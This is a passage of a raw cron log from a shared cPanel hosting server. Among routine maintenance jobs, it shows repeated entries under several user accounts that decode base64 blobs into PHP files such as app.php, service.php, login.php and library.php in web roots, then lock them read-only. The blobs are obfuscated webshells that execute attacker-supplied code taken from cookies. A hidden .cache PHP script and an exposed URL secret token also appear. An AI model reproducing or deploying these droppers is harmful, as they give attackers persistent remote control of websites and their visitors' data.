cjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:05:01 medusa CROND[14627]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:05:02 medusa CROND[14869]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:05:02 medusa CROND[14903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14904]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:05:02 medusa CROND[14949]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14950]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14951]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:05:02 medusa CROND[14955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:05:02 medusa CROND[14953]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:05:02 medusa CROND[14956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14958]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Mar  1 21:05:02 medusa CROND[14959]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:05:02 medusa CROND[14961]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:05:02 medusa CROND[14963]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:05:02 medusa CROND[14965]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:05:02 medusa CROND[14954]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:05:02 medusa CROND[14969]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:05:02 medusa CROND[14976]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14979]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:05:02 medusa CROND[14985]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:05:02 medusa CROND[14986]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:05:02 medusa CROND[14997]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:05:02 medusa CROND[14960]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:06:01 medusa CROND[31719]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:06:01 medusa CROND[31720]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:06:01 medusa CROND[31722]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 21:06:01 medusa CROND[31723]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:06:01 medusa CROND[31724]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:06:01 medusa CROND[31725]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 21:06:01 medusa CROND[31726]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:06:01 medusa CROND[31731]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:06:01 medusa CROND[31732]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:06:01 medusa CROND[31730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:06:01 medusa CROND[31736]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:06:01 medusa CROND[31738]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:06:01 medusa CROND[31740]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 21:06:01 medusa CROND[31742]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
